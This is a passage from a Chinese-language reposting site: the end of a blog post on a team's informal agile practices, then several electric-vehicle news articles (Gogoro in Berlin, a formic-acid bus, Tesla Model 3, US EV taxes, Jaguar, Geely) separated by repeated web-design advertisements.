項目中學習到的東西,在項目中的成長也是很重要的。所以項目經理有一定的敏捷角色中PM的角色:引導大家,賦能給大家。

我們正在嘗試的敏捷(嘗試)

其他團隊物理面板:

我們團隊的面板:非常簡單

項目并行和項目特殊性,我們採用周交付,不確定哪一天交付什麼(特殊需求除外)。

因為項目為運維性質的項目,有開發,緊急需求,客戶答疑問題較多。時間不太可控。

並且大家积極性都很高,沒必要要求必須排滿周開發任務。

自己開發完直接到需求池,領取最優先級的需求,或者幫助其他組員分解開發任務。

業務需求 + 技術需求 雙向需求驅動,佔比5:1。

周最高優先級佔比 1:4

這樣大家不會因為具體時間的衝突導致交付的壓力。周交付的任務為必須交付的最小單元(本周必須交付)。

沒必要的會議去掉,我們基本都坐在一起,不去會議室。工位周邊就可以開會。電腦操作隨時記錄,會後發出來。

周五:計劃會(15:00 ~ 15:30)

10分鐘,材料都是平時積累,會前整理完

地點:工位

目的:回顧上版本迭代精進結果。分析過程問題原因,總結問題。認知好與不足,下版本迭代重點要解決的問題。;討論新需求優先級;達成一致周最小目標。

周五會後 + 周一開會前 

這段時間,是大家緩一緩,總結自己規劃下周的時間。

磨刀不誤砍柴工,想好怎麼做,才能預知困難和風險。

對新需求進行任務拆分,需求理解,任務具體估時。

周一:迭代會(10:00 ~ 10:15)

15~30分鐘,微調任務;統一思想;確認周迭代目標;

地點:工位

周三:如果需要可以開一個簡短溝通會

我們自己維護的計劃和交付,簡單高效。團隊協作,互相可看。

我們的產品是剛畢業的新人,我們互相指導學習。

他最近也在研究用戶故事如何寫好。他打算下周先打印出來,大家看看自己感受一下。

最近我看完了一本敏捷開發相關的書籍,同時推薦給了他。我們想單獨摘出好的或者值得討論的地方,大家圍在一起拿出半小時討論一下也未嘗不可。

還有一本我正在看,可能我實踐經驗不足。總是感覺一般般的感覺。思路不是很清晰。

有讀過的朋友可以發表一下看法。

總結

敏捷我們在路上。不為敏捷而敏捷。

我們互相提高,互相幫助,能力提升,升職加薪。生活質量更好。

大街上敏捷一大堆,根據實際情況摸索敏捷之道。發揮大家的能力,提升大家的能力。為大家帶來點實際的東西。為企業帶來點實際的東西。

項目管理根本目標是把項目管好,項目管好,大家更加自信,互相也都信任。所以項目管好是項目組良性循環的根本。項目經理要多花大力氣去關注,去學習。

謝謝關注公眾號

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

※想知道最厲害的台北網頁設計公司推薦台中網頁設計公司推薦專業設計師”嚨底家”!!

Gogoro 與小牛歐洲廝殺,搶佔德國灘頭堡

德國因為天氣較冷,摩托車被視為是夏天的玩具,但現在卻成為Gogoro 與中國牛電科技等亞洲電動機車品牌進軍歐洲市場的敲門磚。

現在電動機車可以透過應用程式連結到智慧手機,進行簡易的充電、里程控制以及反偷竊與帳單功能等等。日經新聞報導,Gogoro 去年8 月開始在德國柏林透過電動機車分享計畫Coup 來布局市場,起初提供200 台,近期會再增加800 台,而中國的牛電科技則在全德國、奧利地、比利時與瑞士市場開始銷售,尚未公布銷售數字。

這兩家競爭者都與德國汽車零件供應商Bosch 合作,Coup 是Bosch 的子公司,而牛電科技電動機車則使用Bosch 的引擎。Bosch 也積極與電動車廠合作,作為從內燃機引擎轉向電動車引擎世代的契機,因為電動機車只需要數十個零件,而傳統機車需要上千個零件,德國許多汽車零件供應商都預告裁員。Coup 則是Bosch 成立來形塑城市移動趨勢的前哨戰,以提供用戶服務為核心。

報導指出,Gogoro 的電池充電概念讓Coup 印象深刻。Gogoro 自2015 年以來一直在台灣城市營運自己的電子移動計畫,但客戶必須購買相當於6 萬元新台幣的電動機車,然後在交換站網路交換電池,每月付款新台幣300~900 元。Gogoro 在柏林則提供全天出租20 歐元,或3 歐元30 分鐘,而不需要購買一台電動機車。

Coup 智慧手機應用程式可顯示客戶在哪裡可以找到可用的電動機車、解鎖和鎖定,並進行計費。在使用過程中,應用程式會顯示電動機車的位置,並通知電池狀態和剩餘里程。總距離約95 公里,最高時速45 公里,21 歲以上的人可以使用德國駕駛執照租用。

Gogoro 表示,選擇柏林而不是冬天仍溫暖怡人的羅馬與馬德里,是因為這裡能引領潮流,而且柏林人民擁抱新事物。1980 年柏林以自己的共享資本為傲,引進Airbnb 的前身Mitwohnzentralen,並在2014 年推出一個電動鑽機租借商店。這座城市擁有十幾個汽車共享計畫。分析師認為選擇德國也是利用德國公司高品質的聲譽來進軍其他歐洲市場。

中國牛電科技推出的電動機車售價2,700 歐元,也使用與Coup 類似的應用程式,趁Gogoro 專注布局柏林時快速佔領其他市場。在德國城鎮Fulda,三菱與鈴木汽車的經銷商自3 月來開始銷售小牛電動機車。

Coup 即將進軍巴黎,提供首批600 台Gogoro,讓Gogoro 在歐洲銷售量達到1,600 台,另外在台灣銷售2 萬台。牛電科技預計到2018 年全球賣出15 萬台。截至2016 年9 月,中國已經賣出10 萬台。

(合作媒體:。圖片出處:Gogoro)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

荷蘭團隊要打造世界第一台以甲酸為燃料巴士

隨著環保意識提升,再生能源的利用逐漸受到各國重視,荷蘭一群學生就開發出一種儲存能源的方法,不僅簡單製造、可用性高也更持久,他們打算利用這項技術來打造第一台使用甲酸(Formic acid)做為燃料的巴士。  
用甲酸做燃料的巴士   甲酸,又被稱做蟻酸,是螞蟻及蚊蟲在叮咬中傳播的物質,化學式為HCOOH,這種簡單的羧酸已經被使用在紡織和皮革加工作業中,也可以用來做為家畜飼料的防腐劑,或是添加在家用的水垢去除劑。

 

(Source:Flickr/Brian Gratwicke CC BY 2.0)   而由荷蘭恩荷芬理工大學(TU/e)多學科學生團隊組成的新創公司Team FAST  找到了一種方法,讓甲酸能夠有效攜帶氫燃料電池必需的成分,為電動車提供電力。   BBC 報導,Team FAST 計畫打造的巴士主要燃料叫做Hydrozine(並不是聯氨Hydrazine),由99% 的甲酸組成,呈現液體型態,能夠輕易的傳送運輸,因此在車輛上也能夠快速的進行「加油」,就像是目前一般使用的燃料一樣。   但和現今的燃料不同的是,Hydrozine 更環保。   Team FAST 的發言人Lucas van Cappellen 表示,使用這種燃料,車輛排放的尾氣中只會有二氧化碳和水,不會具有其他有害氣體,像是一氧化氮、煤煙或硫氧化物。   為了證明這個概念可行,Team FAST 目前正和VDL 集團合作,打造第一台甲酸燃料巴士,預計2017 下半年間將在荷蘭登場,除了在展覽中亮相以外,巴士也會在一般道路上行駛。   這台巴士將透過VDL 開發的電力系統驅動,並且能夠透過托掛在後方拖車上的甲酸燃料電池系統接收額外的電力。   根據van Cappellen 透露,目前的燃料箱大約是300 公升,因此這台電動巴士的續航力大約是200 公里,但未來要再把燃料箱加大也是非常簡單的。   但為什麼要一開始就從巴士下手,而不是選擇一般車輛呢?   van Cappellen 解釋,因為團隊覺得電動車已經是一個很好的解決方案,如果選擇從一般車輛入手,Hydrozine 將會面對和電動車競爭的問題。   「但相反來看,如果我們能夠建造一台滿足巴士公司需求的巴士,續航力達到400 公里左右,也能夠快速補充燃料,我們就能在還沒有競爭對手的領域中,展現出Hydrozine 的潛力。」  
商業化的可行性   根據Team FAST 官網和van Cappellen 的說明,團隊先是將溶於水的氫氣和二氧化碳運用催化劑合併為甲酸製成Hydrozine,之後再透過催化劑在「reformer」的裝置中分解為氫氣和二氧化碳,將氫氣加到燃料電池中與氧氣反應,產生電力供巴士使用。  

(Source:Team FAST)   Team FAST 目前正在為「reformer」申請專利中,新設計的「reformer」體積只有過去的十分之一,這可能也是Hydrozine 首次能夠被運用在交通運輸上的原因。   負責交通解決方案的VDL ETS 總經理Menno Kleingeld 表示,VDL 一直在尋找新技術,能夠透過簡單方式拓展零排放交通的範圍,「將甲酸分解為氫氣就是一項很有希望的新技術」。   van Cappellen 估計,將一般加油站轉換為Hydrozine 補充站的整體費用大概是3.5 萬歐元(約120 萬元台幣),比起直接架設會便宜許多,而且Hydrozine 比汽油更加便宜,預計未來價格還會持續下降,因此他認為商業化是可行的。   除此之外,Team FAST 認為,雖然這樣的巴士也會排放二氧化碳,但製造Hydrozine 的原料之一就是二氧化碳,是由現有的來源收集而來,因此並沒有額外的碳產生,因此能夠達到環保概念中所謂的「碳循環」效果。   荷蘭一些專家和企業都看好並支持這個計畫,研究的學生也都非常投入在其中,除了15 位全心投入計畫的人員外,其他學生每周也都投入20~25 小時在計畫中研究。   van Cappellen 表示,儘管他們不能從中獲得學分,但能從大學中獲得的實際經驗大概就只有那麼一些,「我們正在建造自己的未來」。   (合作媒體:。首途來源:pixabay;圖片出處:TechNews)  

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

※想要讓你的商品成為最夯、最多人討論的話題?網頁設計公司讓你強力曝光

※想知道最厲害的台北網頁設計公司推薦台中網頁設計公司推薦專業設計師”嚨底家”!!

特斯拉大眾電動車Model 3本周量產,預估月底交車

特斯拉周一公佈第二季僅交車2.2萬輛,上半年合計4.7萬輛,僅以最低標達陣。不過這不打緊,市場最關注的是特斯拉執行長馬斯克(Elon Musk)隨後宣布大眾化電動車Model 3本周五即可進入量產,比預估時程提前兩周。

特斯拉說電池模組供給嚴重不足,導致產出受限,直至六月才獲得抒解,預期Model S與Model X等高檔車下半年交車狀況有望優於上半年。特斯拉原預期上半年交車量介於4.7-5萬輛之間。(路透社)

特斯拉目前已收到近40萬輛Model 3的預購訂單,據馬斯克表示,首批30輛Model 3將在7月28日交車,九月產能可提升至1500輛,估計十二月可達成月產2萬輛的目標。

市場研究機構Consumer Edge Research分析師艾伯汀(James Albertine)指出,按照特斯拉現在的規劃,Model 3進度微幅超前,不然至少也在預期之內,證明馬斯克之前的豪語不是隨便說說。(金融時報)

特斯拉股價周一於正常交易時段收跌2.49%,但今年迄今累計漲幅仍高達65%,市值來到580億美元。

(本文內容由授權使用。圖片出處:Tesla)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

美國各州急尋經費修路、電動車爽領補貼的日子將盡?

電動車爽領補貼、減免稅率的好日子快要結束?美國不少基礎建設早該翻修,各州為了尋找經費焦頭爛額,紛紛把腦筋動到電動車頭上。今(2017)年美國至少已有五州通過對電動車徵稅的法案,當中甚至包括對環保議題最為熱衷的加州。

CNBC 3日報導(見此),美國包括加州在內的不少州,已在今年通過對電動車加稅,一年徵收100-200美元不等。加州州長布朗(Jerry Brown)在今年春季通過法案時表示,安全和順暢的道路,不但能使加州成為更佳的居住地,也會提振州內經濟活動,增加數千個工作機會。

加州的決定,顯示市場對電動車的心態已有轉變。美國不少州原本都對環保汽車相當友善,提出減稅補貼等獎勵措施,鼓勵駕駛人換車。如今各州財政緊繃,道路又坑坑巴巴、亟待修整,電動車便成了眾矢之的。自2013年以來,美國24州、華盛頓哥倫比亞特區都已決定調高電動車的燃料稅(gas tax),其中加州把燃料稅調高12美分,以支應524億美元道路維修暨壅塞紓解方案的半數費用。

環保人士擔憂,這些費用可能會壓抑電動車的銷售量。不僅如此,購買電動車所享有的7,500美元聯邦減稅優惠,也會在電動車賣出20萬輛後遭到解除。根據汽車銷售暨資訊網站Edmunds.com估計,電動車對整體汽車市場的佔有率目前僅有0.6%,銷售量成長率則從2013年的227%,驟降至2016年的5%。

Barronˋs Next 5月9日報導,Edmunds當時就悲觀預測(見此),電動車聯邦減稅優惠終結將摧毀美國電動車車市。當局規定,車商的前20萬名客戶,可以獲得補助,如今特斯拉(Tesla)已售出將近10萬輛電動車,估計明年優惠就會結束。

特斯拉平價車款「Model 3」定價3.5萬美元,扣掉7,500美元補貼之後,買家等於只要付2.75萬美元,差距極為明顯。特斯拉想打入大眾車市,必須對上2萬美元的汽油車和油電混合車,少了優惠之後,兩者價差更為懸殊。

以美國喬治亞州為例,該州取消購買電動車的5,000美元稅務優惠之後,買氣急凍。有稅務優惠時,喬治亞州佔全美電動車銷售的17%;取消之後,銷售比重驟降至2%。Edmunds據此推論,補助結束後,電動車市將崩盤。Edmunds報告指出,高檔電動車較不受稅務優惠影響,但是一般買家會在意補貼。補助終結後,電動車廠必須大砍售價,才能維持買氣。

(本文內容由授權使用。圖片出處:public domain CC BY 0)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

Jaguar 宣布進軍電動車市場,要來挑戰Tesla

各個車廠看到電動車的趨勢,不願意讓Tesla 再繼續引領風潮,包括Jaguar 也將在2018 年下半年發表電動車車款。

Jaguar 的新電動車概念車I-PACE 將在2018 年下半年推出,將是Jaguar 第一台純電動車。性能方面具備700Nm 高扭力,400PS 馬力與4 秒內完成0~100km/h 加速的超高性能,相信是追求速度和零排放車主的選擇。

Jaguar 決定推出全電動車,意味著要跟Tesla 在SUV 市場短兵相接。由於電動車不用傳統車子的馬達系統,車內空間可以更寬敞讓乘客和駕駛更舒適。

(合作媒體:。圖片出處:Jaguar)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

※不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置台北網頁設計,各種案例分享

上海新能源汽車展8月23舉行 吉利將攜帝豪PHEV亮相

進入2017年以來,上海市新能源汽車推廣應用和產業發展繼續保持高增長,1-5月新能源汽車推廣上牌數量達到10699輛。據瞭解,目前在上海市場上銷售的新能源車型累計超過100款,其中本地品牌占比為35%,其他省市品牌占比達到65%,市場累計推廣前5位的品牌依次為比亞迪、榮威、北汽、奇瑞、Tesla。

當前,上海已成為新能源汽車全球保有量最大的城市,吉利汽車自然不會放過這個巨大的市場。在最近上海市經信委公佈的4批新能源汽車備案資訊表中,吉利分別在第三批、第四批目錄中均有車型進入。據悉,吉利進入上海市新能源汽車備案資訊表中的車型為吉利帝豪EV300及吉利帝豪PHEV。

吉利帝豪EV300自推出以來,頗受市場的歡迎,今年5月還登頂了新能源汽車單車銷量排行板的第一位,而帝豪PHEV作為吉利旗下首款插電式混合動力車型,自公佈以來也是備受關注。

據瞭解,吉利帝豪PHEV外觀上與吉利帝豪EV基本相同。內飾方面,帝豪PHEV配備三輻式真皮方向盤並集成了CCS定速巡航、多媒體播放、語音控制等控制按鈕。而與帝豪EV不同的是,在中控部分帝豪PHEV增加了旋鈕式檔位,使車輛可在純電動、混合動力等模式中進行切換,增強了操作的便利性及駕駛體驗。

最亮眼的部分是帝豪PHEV採用了被稱為“聯擎”的功率分流式混合動力技術,搭載代號為JLγ-4G15H的1.5L發動機與兩台高性能電機和11.3kWh的三元鋰電池組組成的插電式混合動力系統。新車最高時速可達175km/h,NEDC工況油耗1.5L/100km,HEV模式下綜合工況油耗5.1L/100km,NEDC工況下純電續航里程61km。

作為全國插電式混合動力最大銷售城市,吉利帝豪PHEV本次順利進入上海新能源汽車目錄無疑是個極好的信號。為了與各位大咖搶佔市場份額,吉利汽車將攜帝豪EV300,帝豪PHEV亮相2017上海國際新能源汽車產業博覽會。其中帝豪PHEV是進入上海新能源汽車目錄後,首度亮相上海。

據瞭解,2017上海國際新能源汽車產業博覽會是由充電設施線上網、廣東省充電設施協會、廣東省新能源汽車產業協會、中國土木工程學會城市公共交通學會和振威展覽股份聯合舉辦,展示面積達45000平米,參展企業涵蓋了整車、核心三電(電池、電機、電控)、充電設備等產業板塊,是我國新能源汽車產業領域最專業的展覽展示和技術交流的綜合性展會平臺。

除吉利外,比亞迪、申龍客車、珠海銀隆、上汽集團、上饒客車、中植新能源、中通、江淮、眾泰、知豆、南京金龍、成功汽車、新吉奧集團、瑞馳新能源、福汽新龍馬等新能源汽車企業,以及精進電動、英威騰、東風電機、力神、沃特瑪、國軒高科、地上鐵、特來電、科陸、巴斯巴、萬馬專纜、奧美格、瑞可達等核心三電及零部件知名企業將亮相本次展會。

參觀預登記,請點擊:

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象